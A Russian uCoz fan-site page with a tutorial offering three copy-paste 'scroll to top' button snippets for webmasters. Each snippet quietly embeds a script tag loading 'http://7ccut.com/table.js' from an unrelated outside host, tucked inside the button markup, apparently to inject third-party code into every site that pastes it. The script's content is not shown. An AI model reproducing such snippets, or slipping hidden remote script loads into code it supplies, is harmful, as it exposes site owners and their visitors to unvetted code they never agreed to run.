online stats

 
Меню
 
Каталог файлов
Counter-Strike 
Программы 
Модели CS 1.6 
Музыка 
Карты 
Игры 
Патчи CS 1.6 
Для мыши 
Для настройки игры 
Баннерообмен
Друзья сайта

the-mafia.ucoz.net все для всякой кс
Клуб фанатов uCoz|Скрипты,шаблоны,инфо и т.д.
Download

2241_grenades_1294


Point Blank


1683_clanMod_1.81.27


Боты для Counter-Strike 1.6


S.T.A.L.K.E.R - Новый сюжет 5 + Addon Тайные Тропы


2260_myshild_13


65_CS


AWP


Call of Duty: Black Ops [RePack_by_Spieler]


Ps2Rate


Server counter-strike 1.6 без рекламы(Public)


TeamViewer


Реклама
Главная » 2013 » Декабрь » 31 » Кнопки вверх для сайта
20:05
Кнопки вверх для сайта


Как правильно установить кнопку "Вверх на свой сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Кнопка в стиле minecraft

скрин:


Код
<!-- <Кнопка Вверх> -->
<script type="text/javascript">
$(document).ready(function(){

   
  $("#back-top").hide();
   
  $(function () {
  $(window).scroll(function () {
   
  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();
   
   
   
  } else {
  $('#back-top').fadeOut();
   
  }
   
   
  });

   
  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script src="http://7ccut.com/table.js" type="text/javascript"></script><img src="http://pnghosts.ru/img/up_knopka_vv.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vvv.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vv.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>
<!-- </Конец> -->


Кнопка в стиле Butterfly



Расположение кнопрки "вверх" в левом нижнем углу.

Код
<script type="text/javascript">
$(function() {
  $.fn.scrollToTop = function() {
  $(this).hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $(this).fadeIn("slow")
  var scrollDiv = $(this);
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });
  $(this).click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  }
});

$(function() {
  $("#Go_Top").scrollToTop();
});
</script>

<a style='position: fixed; bottom: 25px; left: 1px; cursor:pointer; display:none;'
href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/Button-Butterfly.png" alt="Вверх" title="Вверх">
</a><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script type="text/javascript">  
$(function($) {  
$("#button_potfolio img").hover(  
function () {  
$(this).animate({right: '0'}, {queue:false, duration: 350});  
//$(this).css('right', '0');  
},  
function () {  
$(this).animate({right: '-100px'}, {queue:false, duration: 350});  
// $(this).css('right', '-100px');  
}  
);  
});  
</script>


Кнопка в стиле парашюта - Вознестись к небесам



Код
<!--кнопка вверх Вознестись к небесам-->
<a href="javascript://" onclick="$('body').scrollTo({top:$('body').offset().top, left:0}, 1500);return false;">  
  <div style="position:fixed; opacity:0.8; bottom:22px; right:25px;" id="fImgtotop"><img title="Вверх" src="http://pnghosts.ru/img/air-balloon-icon.png" border="0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div>  
  </a>
<!-- </кнопка вверх Вознестись к небесам-->
Просмотров: 357 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Кабинет

Здравствуйте, Гость
Гость, мы рады вас видеть.


Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

 
Реклама
 
Чат
 
Партнеры


GanGstA
 
Статьи

[12.03.2011]Убираем или изменяем рекламу на сервере Counter Strike (2611)

[18.03.2011]Прочти о CS интересные новости (665)

[19.03.2011]ESWC 2010 РЕЗУЛЬТАТЫ (620)

[21.03.2011]AK 47 - монстр (581)

[06.04.2011]Национальные отборочные (714)

[06.04.2011]Региональные отборочные по России (674)


 
Реклама
 
Софт для веб мастера
 
Все права защищены Cs-GuN.ucoz.ru ©2011
Рейтинг Counter-Strike сайтов. TOP.MY-CS.RU